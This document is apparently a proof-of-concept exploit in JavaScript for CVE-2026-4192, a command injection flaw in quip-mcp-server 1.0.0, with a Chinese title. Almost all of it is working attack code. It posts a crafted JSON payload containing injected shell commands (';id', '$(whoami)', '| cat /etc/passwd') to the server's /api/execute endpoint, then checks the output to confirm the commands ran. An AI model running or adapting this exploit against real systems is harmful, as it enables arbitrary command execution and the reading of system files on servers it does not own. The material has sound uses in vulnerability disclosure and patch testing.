CVE-2026-4192: quip-mcp-server命令注入漏洞

// CVE-2026-4192 PoC - Command Injection in quip-mcp-server // Target: AvinashBole/quip-mcp-server 1.0.0 // Vulnerability: Command injection in setupToolHandlers function const axios = require('axios'); // Malicious payload to inject command const maliciousPayload = { tool: "setupToolHandlers", params: { // Inject arbitrary command using semicolon separator // This will execute 'id' command and display user information command: "; id", // Alternative: Using command substitution // command: "$(whoami)", // Alternative: Using pipe to chain commands // command: "| cat /etc/passwd" } }; async function exploit(targetUrl) { try { console.log('[*] Sending malicious request to target...'); console.log('[*] Payload:', JSON.stringify(maliciousPayload)); // Send the crafted request to the MCP server const response = await axios.post(targetUrl + '/api/execute', maliciousPayload, { headers: { 'Content-Type': 'application/json', // Low privilege authentication may be required 'Authorization': 'Bearer <low_privilege_token>' }, timeout: 10000 }); console.log('[+] Response received:'); console.log(response.data); // Check if command was executed if (response.data && response.data.output && (response.data.output.includes('uid=') || response.data.output.includes('root'))) { console.log('[+] VULNERABLE! Command injection successful!'); console.log('[+] Executed command output:', response.data.output); } } catch (error) { console.error('[-] Error:', error.message); if (error.response) { console.error('[-] Response:', error.response.data); } } } // Usage // Replace TARGET_URL with the actual quip-mcp-server endpoint // const targetUrl = 'http://target-server:3000'; // exploit(targetUrl); console.log('CVE-2026-4192 PoC for quip-mcp-server Command Injection'); console.log('This PoC demonstrates how to inject system commands through vulnerable parameter.');